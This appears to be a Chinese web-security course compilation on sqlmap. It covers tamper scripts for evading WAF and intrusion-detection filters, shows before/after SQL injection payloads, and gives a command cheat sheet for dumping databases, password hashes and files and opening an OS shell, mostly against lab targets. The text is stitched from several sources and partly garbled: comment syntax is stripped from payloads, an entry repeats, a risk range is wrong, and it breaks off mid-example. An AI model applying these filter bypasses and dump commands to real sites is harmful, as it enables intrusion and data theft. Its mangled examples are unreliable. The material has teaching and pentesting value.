【Web攻防】第二十六节 Sqlmap Tamper脚本编写介绍
sqlmap中tamper的简介
sqlmap中tamper的简介⼀、SQLMap中tamper的简介1.tamper的作⽤使⽤SQLMap提供的tamper脚本,可在⼀定程度上避开应⽤程序的敏感字符过滤、绕过WAF规则的阻挡,继⽽进⾏渗透攻击。
部分防护系统的缩写:WAF:Web应⽤程序防⽕墙,Web Application FirewallIPS:⼊侵防御系统, Intrusion Prevention SystemIDS:⼊侵检测系统,Intrusion Detection System2.tamper⽤法--tamper=TAMPER 利⽤给定的脚本进⾏篡改注⼊数据。
其⽤法可举例说明:python sqlmap.py -u "http://.../?uname=admin&pwd=pass123"--level=5--risk=3 -p "uname" --tamper=xxx.py表⽰对指定的url地址,以所设置的level等级、risk等级,并采⽤选定的tamper篡改脚本对参数“uname”进⾏检测⼆、适配不同数据库类型的测试tamper当使⽤SQLMap篡改脚本执⾏渗透测试时,⾯对众多tamper可能会⽐较困惑,⼀开始不晓得该使⽤哪些脚本来测试。
有的脚本是适⽤于常⽤数据库的SQL注⼊攻击,有的适⽤于特定类型的数据库,还有的适⽤于某种数据库的特定版本范围。
为了相对明确的了解tamper的使⽤场景,把tamper的使⽤类型和范围作⼀下划分,具体如下:SQLMap⽬录中的所有tamper scripttamper = apostrophemask , apostrophenullencode , appendnullbyte , base64encode , between , bluecoat , chardoubleencode , charencode , charunicodeencode , concat2concatws , equaltolike , greatest , halfversionedmorekeywords , ifnull2ifisnull , modsecurityversioned , modsecurityzeroversioned , multiplespaces ,nonrecursivereplacement , percentage , randomcase , randomcomments , securesphere , space2comment , space2dash , space2hash , space2morehash ,space2mssqlblank , space2mssqlhash , space2mysqlblank , space2mysqldash , space2plus , space2randomblank , sp_password , unionalltounion , unmagicquotes , versionedkeywords , versionedmorekeywords通⽤的测试tampertamper = apostrophemask , apostrophenullencode , base64encode , between , chardoubleencode , charencode , charunicodeencode , equaltolike , greatest , ifnull2ifisnull , multiplespaces , nonrecursivereplacement , percentage , randomcase , securesphere , space2comment , space2plus , space2randomblank , unionalltounion ,unmagicquotesMSSQL(Microsoft SQL Servre)tamper = between , charencode , charunicodeencode , equaltolike , greatest , multiplespaces , nonrecursivereplacement , percentage , randomcase , securesphere , sp_password , space2comment , space2dash , space2mssqlblank , space2mysqldash , space2plus , space2randomblank , unionalltounion , unmagicquotesMySQLtamper = between , bluecoat , charencode , charunicodeencode , concat2concatws , equaltolike , greatest , halfversionedmorekeywords , ifnull2ifisnull ,modsecurityversioned , modsecurityzeroversioned , multiplespaces , nonrecursivereplacement , percentage , randomcase , securesphere , space2comment , space2hash , space2morehash , space2mysqldash , space2plus , space2randomblank , unionalltounion , unmagicquotes , versionedkeywords , versionedmorekeywords , xforwardedfor Oracletamper = between , charencode , equaltolike , greatest , multiplespaces , nonrecursivereplacement , randomcase , securesphere , space2comment , space2plus , space2randomblank , unionalltounion , unmagicquotes , xforwardedforMicrosoft Accesstamper = between , bluecoat , charencode , charunicodeencode , concat2concatws , equaltolike , greatest , halfversionedmorekeywords , ifnull2ifisnull ,modsecurityversioned , modsecurityzeroversioned , multiplespaces , nonrecursivereplacement , percentage , randomcase , securesphere , space2comment , space2hash , space2morehash , space2mysqldash , space2plus , space2randomblank , unionalltounion , unmagicquotes , versionedkeywords , versionedmorekeywords PostgreSQLtamper=between , charencode , charunicodeencode , equaltolike , greatest , multiplespaces , nonrecursivereplacement , percentage , randomcase , securesphere , space2comment , space2plus , space2randomblank , xforwardedfortamper适⽤的数据库类型&版本(*) 可能适⽤于所有版本(-) 不适⽤TAMPER MySQL MSSQL Oracle PostgreSQLapostrophemask****apostrophenullencode----appendnullbyte****base64encode4,5,5.5200510g-between 5.1---bluecoat****apostrophemask9.0.320002005-9.3charunicodeencode4,5.0 and 5.5200510g8.3,8.4,9.0charencode*---commalessmid*---concat2concatws****equaltolike****greatest< 5.1---halfversionedmorekeywords 5.0 and 5.5---ifnull2ifisnull**** informationschemacomment4,5.0,5.5200510g8.3,8.4,9.0 lowercase5---modsecurityversioned5---modsecurityzeroversioned**** multiplespaces**** nonrecursivereplacement**** overlongutf8 5.1.56,5.5.112000, 2005N/A9 percentage4, 5.0,5.5200510g8.3,8.4,9.0 randomcase**** randomcomments**** securesphere4,5.0,5.5200510g8.3,8.4,9.0 space2comment----space2dash 4.0,5.0---space2hash>= 5.1.13---space2morehash-2000, 2005--space2mssqlblank**--space2mssqlhash****space2plus4,5.0,5.5200510g8.3,8.4,9.0 space2randomblank-*--sp_password**** symboliclogical**** unionalltounion**** unmagicquotes4, 5.0,5.5200510g8.3,8.4,9.0 uppercase**** varnish*---versionedkeywords>=5.1.13---versionedmorekeywords**** xforwardedfor****三、SQLMap中tamper篡改脚本的功能解释apostrophemask.py功能:对引号进⾏utf-8格式编码(%EF%BC%87)平台:All举例:1 AND '1'='1 ==> 1 AND %EF%BC%871%EF%BC%87=%EF%BC%871 apostrophenullencode.py功能:⽤⾮法的双unicode字符(%00%27)替换引号字符平台:All举例:1 AND '1'='1 ==> 1 AND %00%271%00%27=%00%271 appendnullbyte.py功能:在有效载荷结束位置加载零字节字符编码平台:Microsoft Access举例:1 AND 1=1 ==> 1 AND 1=1%00base64encode.py功能:⽤base64格式进⾏编码平台:All举例:1' AND SLEEP(5)# ==> MScgQU5EIFNMRUVQKDUpIw==between.py功能:⽤between替换⼤于号(>)平台:Mssql2005、MySQL 4/5.0/5.5、Oracle 10g、PostgreSQL 8.3/8.4/9.0举例:1 AND A > B -- ==> 1 AND A NOT BETWEEN 0 AND B --1 AND A = B -- ==> 1 AND A BETWEEN B AND B --bluecoat.py功能:对SQL语句替换空格字符为(%09),并替换"="--->"LIKE"平台:MySQL 5.1, SGOS举例:SELECT username FROM users WHERE id = 1 ==> SELECT%09username FROM%09users WHERE%09id LIKE 1apostrophemask.py功能:⽤utf-8格式编码引号(如:%EF%BC%87)平台:All举例:1 AND '1'='1 ==> 1 AND %EF%BC%871%EF%BC%87=%EF%BC%871charunicodeencode.py功能:对字符串进⾏Unicode格式转义编码平台:Mssql 2000,2005、MySQL 5.1.56、PostgreSQL 9.0.3 ASP/举例:SELECT FIELD%20FROM TABLE ==>%u0053%u0045%u004C%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004C%u0044%u0020%u0046%u0052%u004F%u004D%u0020%u0054%u0041%u0042%u004C%u0045 charencode.py功能:采⽤url格式编码1次平台:Mssql 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0举例:SELECT FIELD FROM%20TABLE ==> %53%45%4C%45%43%54%20%46%49%45%4C%44%20%46%52%4F%4D%20%54%41%42%4C%45chardoubleencode.py功能:采⽤url格式编码2次平台:All举例:SELECT FIELD FROM%20TABLE ==>%2553%2545%254C%2545%2543%2554%2520%2546%2549%2545%254C%2544%2520%2546%2552%254F%254D%2520%2554%2541%2542%254C%2545commalessmid.py功能:将payload中的逗号⽤ from和for代替,⽤于过滤了逗号并且是3个参数的情况平台:MySQL 5.0, 5.5举例:MID(VERSION(), 1, 1) ==> MID(VERSION() FROM 1 FOR 1)concat2concatws.py功能:CONCAT() ==> CONCAT_WS(),⽤于过滤了CONCAT()函数的情况平台: MySQL 5.0举例:CONCAT(1,2) ==> CONCAT_WS(MID(CHAR(0),0,0),1,2)equaltolike.py功能:= ==> LIKE,⽤于过滤了等号"="的情况平台:Mssql 2005、MySQL 4, 5.0 and 5.5举例:SELECT * FROM users WHERE id=1 ==> SELECT * FROM users WHERE id LIKE 1greatest.py功能:> ==> GREATEST平台:MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0举例:1 AND A > B ==> 1 AND GREATEST(A, B+1)=Aa和b+1⽐较,取两者中的最⼤值为a;则a >= b+1,亦即a > bhalfversionedmorekeywords.py功能:空格 ==> /*!0 (在关键字前添加注释)平台:MySQL 4.0.18, 5.0.22(Mysql < 5.1)举例:union ==> /*!0unionifnull2ifisnull.py功能:IFNULL(A, B) ==> IF(ISNULL(A), B, A)平台:MySQL 5.0 and 5.5举例:IFNULL(1, 2) ==> IF(ISNULL(1),2,1)informationschemacomment.py功能:在 information_schema 后⾯加上 /**/ ,⽤于绕过对 information_schema 的情况retVal = re.sub(r"(?i)(information_schema).", "g<1>/**/.", payload)平台:All举例:select table_name from information_schema.tables ==> select table_name from information_schema/**/.tableslowercase.py功能:将 payload ⾥的⼤写转为⼩写平台:Mssql 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0举例:SELECT table_name FROM INFORMATION_SCHEMA.TABLES ==> select table_name from information_schema.tables modsecurityversioned.py功能:⽤注释来包围完整的查询语句,⽤于绕过 ModSecurity 开源 waf平台:MySQL 5.0举例:1 AND 2>1-- ==> 1 /*!30874AND 2>1*/--modsecurityzeroversioned.py功能:⽤注释来包围完整的查询语句,⽤于绕过 waf ,和上⾯类似平台:Mysql举例:1 and 2>1--+ ==> 1 /!00000and 2>1/--+multiplespaces.py功能:围绕SQL关键字添加多个空格平台:All举例:1 UNION SELECT foobar ==> 1 UNION SELECT foobarnonrecursivereplacement.py功能:关键字双写,可⽤于关键字过滤平台:All举例:1 UNION SELECT 2-- ==> 1 UNIONUNION SELESELECTCT 2--overlongutf8.py功能:转换给定的payload当中的所有字符平台:All举例:SELECT FIELD FROM TABLE WHERE 2>1 ==> SELECT%C0%AAFIELD%C0%AAFROM%C0%AATABLE%C0%AAWHERE%C0%AA2%C0%BE1 percentage.py功能:⽤百分号来绕过关键字过滤,在关键字的每个字母前⾯都加⼀个(%)平台:Mssql 2000, 2005、MySQL 5.1.56, 5.5.11、PostgreSQL 9.0举例:SELECT FIELD FROM TABLE ==> %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%Erandomcase.py功能:将 payload 随机⼤⼩写平台:Mssql 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0举例:INSERT ==> InseRtrandomcomments.py功能:在 payload 的关键字中间随机插⼊注释符 /**/ ,可⽤于绕过关键字过滤平台:Mysql举例:INSERT ==> I / ** / N / ** / SERTsecuresphere.py功能:在payload后追加特殊构造的字符串平台:All举例:1 AND 1=1 ==> 1 AND 1=1 and '0having'='0having'space2comment.py功能:⽤注释符 // 代替空格,⽤于空格的绕过平台:Mssql 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0举例:SELECT id FROM users ==> SELECT//id//FROM//usersspace2dash.py功能:⽤[注释符(--)+⼀个随机字符串+⼀个换⾏符]替换控制符平台:MSSQL、 SQLite举例:union select 1,2--+ ==> union--HSHjsJh%0Aselect--HhjHSJ%0A1,2--+space2hash.py功能:⽤[注释符(#)+⼀个随机字符串+⼀个换⾏符]替换控制符平台:Mysql举例:union select 1,2--+ ==> union%23HSHjsJh%0Aselect%23HhjHSJ%0A1,2--+space2morehash.py功能:⽤多个[注释符(#)+⼀个随机字符串+⼀个换⾏符]替换控制符平台:MySQL >= 5.1.13举例:union select 1,2--+ ==> union %23 HSHjsJh %0A select %23 HhjHSJ %0A%23 HJHJhj %0A 1,2--+ space2mssqlblank.py功能:⽤随机的空⽩符替换payload中的空格blanks = ('%01', '%02', '%03', '%04', '%05', '%06', '%07', '%08', '%09', '%0B', '%0C', '%0D', '%0E', '%0F', '%0A')平台:Mssql 2000,2005举例:SELECT id FROM users ==> SELECT%0Eid%0DFROM%07usersspace2mssqlhash.py功能:⽤[字符# +⼀个换⾏符]替换payload中的空格平台:MSSQL、MySQL举例:union select 1,2--+ ==> union%23%0Aselect%23%0A1,2--+space2plus.py功能:⽤加号(+)替换空格平台:All举例:SELECT id FROM users ==> SELECT+id+FROM+usersspace2randomblank.py功能:⽤随机的空⽩符替换payload中的空格平台:Mssql 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0举例:SELECT id FROM users ==> SELECT%0Did%0DFROM%0Auserssp_password.py功能:在payload语句后添加 sp_password ,⽤于迷惑数据库⽇志(Space ==> sp_password)平台:Mssql举例:1 AND 9227=9227-- ==> 1 AND 9227=9227-- sp_passwordsymboliclogical.py功能:⽤ && 替换 and ,⽤ || 替换 or ,⽤于这些关键字被过滤的情况平台:All举例:1 and 1=1 ==> 1 %26%26 1=11 or 1=1 ==> 1 %7c%7c 1=1unionalltounion.py功能:⽤ union select 替换union all select平台:All举例:union all select 1,2--+ ==> union select 1,2--+unmagicquotes.py功能:⽤宽字符绕过 GPC addslashes平台:All举例:1' and 1=1 ==> 1%df%27 and 1=1--uppercase.py功能:将payload中的⼩写字母转为⼤写格式平台:Mssql 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0举例:insert ==> INSERTvarnish.py功能:添加⼀个HTTP头“ X-originating-IP ”来绕过WAF平台:headers = kwargs.get("headers", {})headers["X-originating-IP"] = "127.0.0.1"return payload举例:Allversionedkeywords.py功能:对⾮函数的关键字进⾏注释平台:MySQL 4.0.18, 5.1.56, 5.5.11举例:1 union select user() ==> 1/!UNION//!SELECT/user()versionedmorekeywords.py功能:对每个关键字进⾏注释处理平台:MySQL 5.1.56, 5.5.11举例:1 union select user() ==> 1/!UNION//!SELECT/user()xforwardedfor.py功能:添加⼀个伪造的HTTP头“ X-Forwarded-For ”来绕过WAF平台:All举例:headers = kwargs.get("headers", {})headers["X-Forwarded-For"] = randomIP()return payload。
【Web攻防】第二十六节 Sqlmap Tamper脚本分析(MSSQL)
Sqlmap Tamper脚本分析 MSSQL
课程内容
1. 适合于MSSQLTamper脚本 2. 脚本分析方法
3. 脚本分析过程中的学习 4. 根据名称判断作用
01
适合于MSSQLTamper脚本
适合于MSSQLTamper脚本 支持MSSQL的Tamper脚本,也可能支持其他类型分析过程重点:如果只是使用直接看注释即可,需要二次开发就需要修改payload内容。
03
脚本分析过程中的学习
分析Tamper脚本可以学习绕过技巧以及其他技巧,例如space2mssqlblank.py
04
根据名称判断作用
根据名称判断作用
总结
1. 适合于MSSQLTamper脚本 2. 脚本分析方法
3. 脚本分析过程中的学习 4. 根据名称判断作用
谢谢
欢迎关注
sqlmap使用手册
sqlmap使⽤⼿册sqlmap使⽤⼿册输⼊“python sqlmap.py --version”检查sqlmap是否安装成功输⼊“python sqlmap.py -hh”, “-hh”参数⽤于查看sqlmap的使⽤说明输⼊“python sqlmap.py -u "http://192.168.117.135/xxx.php?xxx_id=1"”,其中“-u”参数⽤于指定注⼊点的URL。
输⼊“python sqlmap.py –u "http://192.168.117.135/ry.php?ry_id=1" --dbs”,其中参数“--dbs”⽤于列举数据库。
输⼊“python sqlmap.py -u "http://192.168.117.135/ry.php?ry_id=1" -D jnng --tables”,其中参数“-D”⽤于指定数据库名称,“--tables”参数⽤于列举表。
输⼊“python sqlmap.py -u "http://192.168.117.135/ry.php?ry_id=1" -D jnng -T root --columns”,其中参数“-T”⽤于指定表名称,“--columns”参数⽤于指定列出表中字段。
输⼊“python sqlmap.py -u "http://192.168.117.135/ry.php?ry_id=1" -D jnng -T root -C root_id,root_name,root_pass --dump”,其中参数“-C”⽤于指定字段名称,参数“—dump”⽤于导出数据。
--os-shell--file-read "/user/www/flag.php官⽅命令sqlmap -r http.txt #http.txt是我们抓取的http的请求包sqlmap -r http.txt -p username #指定参数,当有多个参数⽽你⼜知道username参数存在SQL漏洞,你就可以使⽤-p指定参数进⾏探测sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" #探测该url是否存在漏洞sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --cookie="抓取的cookie" #当该⽹站需要登录时,探测该url是否存在漏洞sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --data="uname=admin&passwd=admin&submit=Submit" #抓取其post提交的数据填⼊sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --users #查看数据库的所有⽤户sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --passwords #查看数据库⽤户名的密码sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --current-user #查看数据库当前的⽤户sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --is-dba #判断当前⽤户是否有管理员权限sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --roles #列出数据库所有管理员⾓⾊,仅适⽤于oracle数据库的时候sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --dbs #爆出所有的数据库sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --tables #爆出所有的数据表sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --columns #爆出数据库中所有的列sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --current-db #查看当前的数据库sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security --tables #爆出数据库security中的所有的表sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users --columns #爆出security数据库中users表中的所有的列sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users -C username --dump #爆出数据库security中的users表中的username列中的所有数据sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users --dump-all #爆出数据库security中的users表中的所有数据sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security --dump-all #爆出数据库security中的所有数据sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --dump-all #爆出该数据库中的所有数据sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --tamper=space2comment.py #指定脚本进⾏过滤,⽤/**/代替空格sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --level=5 --risk=3 #探测等级5,平台危险等级3,都是最⾼级别。
sqlmaptamper脚本备忘录与tamper脚本编写
sqlmaptamper脚本备忘录与tamper脚本编写查看sqlmap全部脚本$ python sqlmap.py --list-tampers使⽤⽅法--tamper=TAMPER2019.9更新后翻译* apostrophemask.py-⽤其UTF-8全⾓字符替换撇号(')(例如'->%EF%BC%87)* apostrophenullencode.py-⽤⾮法的双unicode替换撇号(')(例如'->%00%27)* appendnullbyte.py-在有效载荷的末尾附加(访问)NULL字节字符(%00)* base64encode.py-Base64对给定有效载荷中的所有字符进⾏编码* between.py- 替换较⼤⽐运算符('>')带有'NOT BETWEEN 0 AND#',等于运算符('=')与'BETWEEN#AND#'* bluecoat.py-⽤有效的随机空⽩字符替换SQL语句后的空格字符。
然后⽤运算符LIKE替换字符'='* chardoubleencode.py-双重URL编码给定有效负载中的所有字符(未处理已编码)(例如SELECT->%2553%2545%254C%2545%2543%2554)* charencode.py-URL编码中的所有字符给定的有效载荷(不处理已经编码的)(例如SELECT->%53%45%4C%45%43%54)* charunicodeencode.py-Unicode-URL编码给定的有效载荷中的所有字符(不处理已经编码的)(例如SELECT->%u0053%u0045%u004C%u0045%u0043%u0054)* charunicodeescape.py-Unicode转义给定有效负载中的未编码字符(未处理已编码的字符)(例如SELECT-> \ u0053 \ u0045 \ u004C \ u0045 \ u0043 \ u0054)* commalesslimit.py-⽤'LIMIT N OFFSET M'替换(MySQL)实例,例如'LIMIT M,N'* commalessmid.py-⽤'MID(A FROM B FOR C)'替换(MySQL)实例,例如'MID(A,B,C)'* commentbeforeparentheses.py-在括号前加(内联)注释(例如((-> / ** /()* concat2concatws.py-⽤'CONCAT_WS(MID(CHAR(0),0,0),A,B)' 等价物(相当于)替换(MySQL)实例,例如'CONCAT(A,B)' 。
SQLMAP命令详解
SQLMAP命令详解Options--version:显⽰当前sqlmap的版本号-h:显⽰帮助信息-hh:显⽰详细的帮助信息-v VERBOSE:详细级别,VERBOSE为数字,默认为1Target-d DIRECT:直接连接到数据库-u URL 或--url=URL:⽬标地址(URL)-l LOGFILE:从Burp或WebScarab代理的⽇志中解析⽬标-x SITEMAPURL:从⼀个XML⽂件中解析⽬标-m BULKFILE:扫描⽂本⽂件中的多个⽬标-r REQUESTFILE:从⽂件中导⼊HTTP请求(通常⽤于检查POST请求中的SQL注⼊)-g GOOGLEDORK:处理Google Dork的结果作为⽬标URL-c CONFIGFILE:从ini⽂件中加载选项Request--method=MEHOTD:强制指定HTTP⽅法(如PUT)--data=DATA:指定POST请求的参数--param-del=PARAMDEL:指定参数的分隔符(如:&)--cookie=COOKIE:指定HTTP请求的Cookie--cookie-del=COOKIEDEL:指定Cookie的分隔符(如:分号;)--load-cookies=LOADCOOKIES:指定以Netscape或wget且包含cookie的⽂件--drop-set-cookie:忽略返回包中的Set-Cookie字段--user-agent:指定HTTP头部的user-agent值--random-agent:设置随机的HTTP User-Agent--host=HOST:指定HTTP头部的host值--referer=REFERER:指定HTTP头部中的referer值-H=HEADER:指定HTTP其他头部信息--headers=HEADERS:指定HTTP其他头部信息--auth-type=AUTHTYPE:指定HTTP的认证类型(Basic,Digest,NTLM,PKI)--auth-cred=AUTHCRED:指定HTTP认证凭证(name:password)--auth-file=AUTHFILE:指定HTTP认证PEM认证/私钥⽂件--ignore-code=IGNORECODE:忽略指定的HTTP错误码(如:401)--ignore-proxy:忽略系统默认代理--ignore-redirects:忽略重定向尝试--ignore-timeouts:忽略连接超时--proxy=PROXY:指定代理地址--proxy-cred=PROXYCRED:指定代理认证凭据(name:password)--proxy-file=PROXYFILE:从指定⽂件中加载代理数据--tor:使⽤tor匿名⽹络(通常需要提⾼默认的响应时长,且需要指定Tor的代理地址)--tor-port=TORPORT:设置TOR代理的端⼝(修改默认端⼝)--tor-type=TORTYPE:设置TOR代理的类型(HTTP,SOCKS4,SOCKS5默认)--check-tor:检查tor能否正常使⽤--delay=DELAY:设置每个HTTP请求的间隔时间(单位:秒)--timeout=TIMEOUT:设置超时连接前等待的时间(单位:秒)--retries=RETRIES:设置连接超时重新尝试的次数(默认为3)--randomize=RPARAM:随机更改给定参数的值--safe-url=SAFEURL:指定在测试期间频繁访问的URL--safe-post=SAFEPOST:POST数据发送到安全URL--safe-req=SAFEREQ:从⽂件中加载HTTP请求--safe-freq=SAFEFREQ:在两次访问安全⽹址之间的测试请求--skip-urlencode:跳过经过URL编码的payload数据--csrf-token=CSRFTOKEN:指定CSRF-TOKEN值--csrf-url=CSRFURL:指定提取CSRF-TOKEN的URL值--force-ssl:强制使⽤SSL协议--hpp:使⽤HTTP参数pollution的⽅法--eval:评估请求之前提供Python代码Optimization-o:开启所有优化开关--predict-output:预测常见的查询输出--keep-alive:使⽤持久的HTTP(S)连接--null-connection:从没有实际的HTTP响应体中检索页⾯长度--threads=THREADS:设置请求的并发数Injection-p TESTPARAMETER:指定需要测试的参数--skip=SKIP:跳过指定参数的测试--skip-static:跳过⾮动态参数的测试--param-exclude=PARAMEXCLUDE:使⽤正则排除要测试的参数--dbms=DBMS:强制指定数据库管理系统的类型--dbms-cred=DBMSCRED:指定DBMS认证凭证(name:password) --os=OS:指定后端DBMS的操作系统--invalid-logical:使⽤⼤数字使值⽆效--invalid-string:使⽤随机字符串使值⽆效no-cast:关闭有效载荷--no-escape:关闭字符串转义机制--prefix=PREFIX:注⼊payload字符串前缀--suffix=SUFFIX:注⼊payload字符串后缀--tamper=TAMPER:使⽤给定脚本篡改注⼊数据Detection--level=LEVEL:指定执⾏检测的等级(1-5,默认为1)--risk=RISK:指定执⾏检测的风险(1-5,默认为1)--string=STRING:查询有效时在页⾯匹配字符串--not-string=NOTSTRING:查询⽆效时在页⾯匹配字符串--regexp=REGEXP:查询有效时在页⾯匹配正则表达式--code=CODE:查询有效时匹配的HTTP返回码--text-only:基于⽂本内容⽐较⽹页--titles:基于标题⽐较⽹页Techniques--technique=TECH:指定SQL注⼊的技术(默认为BEUST)--time-sec=TIMESEC:DBMS响应的延迟时间--union-cols=UCOLS:指定UNION查询注⼊使⽤的列--union-char=UCHAR:指定暴⼒猜解列数的字符--union-from=UFROM:指定UNION查询注⼊的FROM部分使⽤的表--dns-domain=DNSDOMAIN:域名⽤于DNS漏出攻击Enumeration-a或--all:检索⼀切-b,--banner:检索数据库管理系统的标识--current-user:检索数据库管理系统的当前⽤户名--current-db:检索DBMS的当前数据库名称--hostname:检索数据库服务器的主机名--is-dba:检测DBMS当前⽤户是否为DBA--users:枚举DBMS的⽤户名--passwords:枚举DBMS⽤户密码哈希--privileges:枚举DBMS⽤户的权限--roles:枚举DBMS⽤户的⾓⾊--dbs:枚举DBMS所有的数据库名称--tables:枚举DBMS数据库中所有的表--columns:枚举DBMS数据库表中所有的列名--schema:枚举数据库架构--count:检索表的记录数--dump:转储DBMS的数据库中的表项--dump-all:转储DBMS的数据库中的所有表项--search:搜索列、表、数据库名称--commnets:检索数据库的comments-D DB:指定要枚举的数据库名称-T TBL:指定要枚举的数据表名称-C COL:指定要枚举的数据库列名-X EXCLUDECOL:指定不要枚举的数据库列名-U USER:指定要进⾏枚举的数据库⽤户名--exclude-sysdbs:枚举表时排除系统数据库--where=DUMPWHERE:使⽤WHERE条件表转储--start=LIMITSTART:第⼀个查询输出进⼊检索--stop=LIMITSTOP:最后查询的输出进⼊检索--first=FIRSTCHAR:第⼀个查询输出字的字符检索--last=LASTCHAR:最后查询的输出字字符检索--sql-query=QUERY:要执⾏的SQL语句--sql-file=SQLFILE:从给定⽂件中执⾏SQL语句1. HTTP Get请求## 指定参数和Cookiesqlmap -u "/1.php?id=1" --cookies="COOKIE" -p id## 忽略参数,指定分隔符sqlmap -u "/1.php?id=1&username=jack" --param-del=& --skip=username 2. HTTP Post请求## 直接从⽂件导⼊sqlmap -r 1.txt -p id## ⾃定义sqlmap -u "/1.php" --data="id=1&username=jack" --cookie="COOKIE" -p id ⼀般的注⼊步骤1. 检查是否存在注⼊sqlmap -r 1.txt -p id2. 简单的信息获取## 获取数据库版本信息sqlmap -r 1.txt -p id --banner## 获取当前数据库名称sqlmap -r 1.txt -p id --current-db## 获取数据库中所有数据库名称sqlmap -r 1.txt -p id --dbs## 获取数据库当前⽤户名sqlmap -r 1.txt -p id --current-user## 获取数据库所有⽤户名sqlmap -r 1.txt -p id --users## 检查数据库当前⽤户是否为DBAsqlmap -r 1.txt -p id --is-dba3. 获取数据库中的数据## 获取数据表名称sqlmap -r 1.txt -p id -D dvwa --tables## 获取数据表中的列名称sqlmap -r 1.txt -p id -D dvwa -T users --columns## 获取单个表中⾃定义列中的数据sqlmap -r 1.txt -p id -D dvwa -T users -C user,password --dump## 获取单个表数据sqlmap -r 1.txt -p id -D dvwa -T users --dump## 获取单个数据库中所有表中的数据sqlmap -r 1.txt -p id -D dvwa --dumptamper介绍数据库脚本名描述举例通⽤apostrophemask.py utf8替代引号base64encode.py⽤base64编码转换multiplespaces.py围绕SQL关键字添加多个空格space2plus.py⽤+替换空格nonrecursivereplacement.py双重查询语句space2randomblank.py⽤⼀个随机的空⽩字符替换空格字符unionalltounion.py⽤UNION SELECT替换UNION ALL SELECTsecuresphere.py追加⾃定义字符串mssql space2hash.py空格替换为#号、随机字符串、换⾏符equaltolike.py LIKE替换等于号(=)space2mssqlblank.py⽤其他空符号替换空格字符space2mssqlhash.py⽤%23%0A替换空格字符between.py⽤between替换⼤于号percentage.py在每个字符前添加%sp_password.py在有效载荷后添加sp_passwordcharencode.py url编码randomcase.py随机⼤⼩写charunicodeencode.py unicode编码字符串space2comment.py⽤注释替换空格mysql equaltolike.py like代替等号(=)greatest.py绕过对⼤于号的过滤,⽤GREATEST替换⼤于号apostrophenullencode.py绕过对双引号的过滤,替换字符和双引号ifnull2ifisnull.py绕过对IFNULL的过滤,⽤IF(ISNULL(A),B,A)代替IFNULLspace2mssqlhash.py⽤%23%0A替换空格modsecurityversioned.py过滤空格,包含完整的查询版本注释space2mysqlblank.py⽤其他空⽩字符替换空格between.py⽤between替换⼤于号modsecurityzeroversioned.py包含了完整的查询与零版本注释space2mysqldash.py⽤--%0A替换空格字符bluecoat.py⽤随机空⽩字符替换空格,⽤LIKE替换等于号(=)percentage.py在每个字符前加百分号charencode.py url编码randomcase.py随机⼤⼩写versionedkeywords.py⽤版本化的MySQL注释包含每个⾮函数关键字space2comment.py⽤注释替换空格charunicodeencode.py⽤unicode编码字符串versionedmorekeywords.py⽤更多的版本化的MySQL注释包含每个⾮函数关键字halfversionedmorekeywords.py关键字前加注释space2morehash.py空格替换为#号和其他随机字符串oracle greatest.py⽤GREATEST替换⼤于号apostrophenullencode.py绕过过滤双引号,替换字符和双引号between.py⽤between替换⼤于号charencode.py url编码randomcase.py随机⼤⼩写charunicodeencode.py unicode编码space2comment.py⽤注释替换空格Access appendnullbyte.py在有效载荷结束位置加零字节字符编码脚本及功能介绍space2plus⽤+替换空格// oldselect id from users// newselect+id+from+usersspace2hash空格替换为#号(%23) 随机字符串换⾏符(%0A)// old1 and 2=2// new1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A2=2space2morehash空格替换为#号(%23) 更多随机字符串换⾏符(%0A)// old1 and 2=2// new1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A2=2space2mysqldash替换空格为--%0A// old1 and 2=2// new1--%0Aand--%0A2=2space2randomblank将空格替换为随机空⽩字符的字符集// oldselect id from users// newselect%0Did%0Dfrom%0Ausersspace2mssqlblank空格替换为其他空⽩字符// oldselect id from users// newselect%08id%02from%0Fusersspace2mssqlhash空格替换为%23%0A// old1 and 2=2// new1%23%0Aand%23%0A2=2space2comment空格替换为注释// oldselect id from users//newselect//id//from/**/usersbetween将⼤于号(>)替换为between// old1 and A>B// new1 and A not between 0 and Bgreatest将⼤于号(>)替换为greatest// old1 and A>B// new1 and greatest(A,B+1)=Aequaltolike将等于号(=)替换为like// oldselect * from users where id=1// newselect * from users where id like 1bluecoat将空格替换为⼀个随机的空⽩字符,同时将等于号(=)替换为like// oldselect id from users where id=1// newselect%09id from users where id like 1modsecurityversioned将空格替换为包含完整版本注释的字符串(当MySQL的版本⼤于等于指定的版本号时才会执⾏注释中的语法) // old1 